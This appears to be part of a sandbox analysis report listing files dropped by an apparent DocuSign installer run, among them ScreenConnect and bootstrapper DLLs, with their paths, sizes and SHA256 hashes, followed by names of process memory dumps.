                  • Path C:\Windows\Installer\MSI977.tmp-\ScreenConnect.Windows.dll
                  • Size 1.6MB
                  • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  MSIC9A8.tmp
                  • Path C:\Windows\Installer\MSIC9A8.tmp
                  • Size 149KB
                  • SHA256 ea5d4b4c7e7be1ce24a614ae1e31a58bcae6f1694dd8bfb735cf47d35a08d59b
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  MSIFE2.tmp
                  • Path C:\Windows\Installer\MSIFE2.tmp
                  • Size 202KB
                  • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  icon.ico
                  • Path C:\Windows\Installer\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}\icon.ico
                  • Size 73KB
                  • SHA256 406c793c20be6bdde619ab7c1385567dafd7ae923cdca08db0b9390fa810e9c3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  nfud4h3t.newcfg
                  • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Feedback Tool\nfud4h3t.newcfg
                  • Size 576B
                  • SHA256 c1e57dc2555384a32e38a54b24201cc485104aa63f651d26a80068dc7a254cb1
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  user.config
                  • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Feedback Tool\user.config
                  • Size 576B
                  • SHA256 462d8adba378d39fdf4a628d3b8e7fccbc6c42d38107e6b14480b58254ac9f99
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  docusignprintdriver.inf_amd64_871637b342fb7360.ini
                  • Path C:\Windows\System32\DriverStore\FileRepository\docusignprintdriver.inf_amd64_871637b342fb7360.ini
                  • Size 883B
                  • SHA256 5b569304f61162dbde5a65bfc2adc704f14aa1cda44992c7709357746c1ecb59
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  2ab29353.gpd
                  • Path C:\Windows\System32\spool\V4Dirs\3D121733-1612-4ED8-B3E5-FCD035508529\2ab29353.gpd
                  • Size 21KB
                  • SHA256 2498e523a459f6bf51436e0bd23a449bd6f6e7a3f7f50bde0484427942915839
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  BootstrapperCore.config
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\.ba\BootstrapperCore.config
                  • Size 1KB
                  • SHA256 e9b4b48a7445e774ac7907c77606f1964aaa33b4725311ac336ed8f59f0bad79
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  BootstrapperCore.dll
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\.ba\BootstrapperCore.dll
                  • Size 87KB
                  • SHA256 f2c2b3ce2df70a3206f3111391ffc7b791b32505fa97aef22c0c2dbf6f3b0426
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  DocuSign.BootstrapperApplication.dll
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\.ba\DocuSign.BootstrapperApplication.dll
                  • Size 181KB
                  • SHA256 6e3f9ceda653c6b58f3f8ce13eeb143971d7af489df6d4cdadb18ce380a1d8f7
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  mbahost.dll
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\.ba\mbahost.dll
                  • Size 119KB
                  • SHA256 9dfa1bc5d2ab4c652304976978749141b8c312784b05cb577f338a0aa91330db
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  MainPackage
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\MainPackage
                  • Size 3.4MB
                  • SHA256 6e4f0f8335e1e468700772213bac21575deb0a1c1405a33b721335feb8a9399f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  de.mst
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\de.mst
                  • Size 32KB
                  • SHA256 02d69e8dcad7b85086797d70b7594722b3dea85d2b15d48b50479cbfd3499fab
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  es.mst
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\es.mst
                  • Size 32KB
                  • SHA256 0c7420cc4bd0fb0fcf23786101b70aebaf67eaca7ee54f20380e32d335139ac7
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  fr.mst
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\fr.mst
                  • Size 36KB
                  • SHA256 c86dee1f60bab41472281e953f6a8834cfbb8a88e00b4ecbb4bf7d0089f7cfd3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  it.mst
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\it.mst
                  • Size 32KB
                  • SHA256 54e62ed39933a2f5518cd3a717499fc99dbbecad0d868b41cc1e6cf8e1df3bd3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ja.mst
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\ja.mst
                  • Size 32KB
                  • SHA256 f38b369e550f6426e2308fff087330ec0a2f6d00d56e91198a084b85c3263efe
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ko.mst
                  • Path C:\Windows\Temp\{742F43A2-855F-4304-98FA-57E54543FE9B}\ko.mst
                  • Size 32KB
                  • SHA256 985c5ba80fa400378b84cfba6bcf7856fa09c08482784758d85c12a821abf05e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  docusign.exe
                  • Path C:\Windows\Temp\{91B0F975-3757-4C5A-A3C4-41C7A6FCC883}\.cr\docusign.exe
                  • Size 1.6MB
                  • SHA256 43b2177dc2ade68d62d439b3332535873a07a962d7e4f89391da7385dffa0382
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  memory/1600-40-0x00000000069E0000-0x0000000006F9A000-memory.dmp
                  Download

                  memory/1600-31-0x0000000003E30000-0x0000000003E3A000-memory.dmp
                  Download

                  memory/1600-27-0x0000000003DF0000-0x0000000003E1E000-memory.dmp
                  Download

                  memory/1600-35-0x0000000003F50000-0x0000000003FDE000-memory.dmp
                  Download

                  memory/1600-39-0x0000000006270000-0x000000000641C000-memory.dmp
                  Download

                  memory/1828-282-0x000001AB4DE50000-0x000001AB4DE7E000-memory.dmp
                  Download

                  memory/1828-284-0x000001AB4DE40000-0x000001AB4DE46000-memory.dmp
                  Download

                  memory/3844-179-0x00000000046A0000-0x00000000046B8000-memory.dmp
                  Download

                  memory/3844-195-0x00000000072C0000-0x00000000072CA000-memory.dmp
                  Download

                  memory/3844-192-0x0000000006D70000-0x0000000006DA4000-memory.dmp
                  Download

                  memory/4152-197-0x0000000002CE0000-0x0000000002CF8000-memory.dmp
                  Download

                  memory/4152-198-0x0000000002D80000-0x0000000002D98000-memory.dmp
                  Download

                  memory/4152-185-0x0000000000C20000-0x0000000000CB8000-memory.dmp
                  Download

                  memory/4152-187-0x000000001B950000-0x000000001B9DE000-memory.dmp
                  Download

                  memory/4152-196-0x000000001C060000-0x000000001C1E8000-memory.dmp
                  Download

                  memory/4152-188-0x000000001BEB0000-0x000000001C05C000-memory.dmp
                  Download

                  memory/4152-186-0x0000000002D20000-0x0000000002D56000-memory.dmp
                  Download

                  memory/4484-465-0x000001A9D3BC0000-0x000001A9D3BC8000-memory.dmp
                  Download

                  memory/4484-466-0x000001A9F2590000-0x000001A9F25CE000-memory.dmp
                  Download

                  memory/4484-458-0x000001A9D1C40000-0x000001A9D1CCE000-memory.dmp
                  Download

                  memory/4484-459-0x000001A9D3BD0000-0x000001A9D3C78000-memory.dmp
                  Download

                  memory/4484-460-0x000001A9EC4E0000-0x000001A9EC556000-memory.dmp
                  Download

                  memory/4484-461-0x000001A9D3A50000-0x000001A9D3A72000-memory.dmp
                  Download

                  memory/4484-462-0x000001A9D2160000-0x000001A9D217E000-memory.dmp
                  Download

                  memory/4484-467-0x000001A9ED370000-0x000001A9ED37E000-memory.dmp
                  Download

                  memory/5088-158-0x0000000004EB0000-0x0000000004F42000-memory.dmp
                  Download

                  memory/5088-160-0x0000000004B80000-0x0000000004BC1000-memory.dmp
                  Download

                  memory/5088-162-0x00000000050A0000-0x0000000005175000-memory.dmp
                  Download

                  memory/5088-157-0x0000000004DD0000-0x0000000004E06000-memory.dmp
                  Download

                  memory/5088-153-0x0000000004D80000-0x0000000004DD0000-memory.dmp
                  Download

                  memory/5088-79-0x00000000022C0000-0x00000000022D8000-memory.dmp
                  Download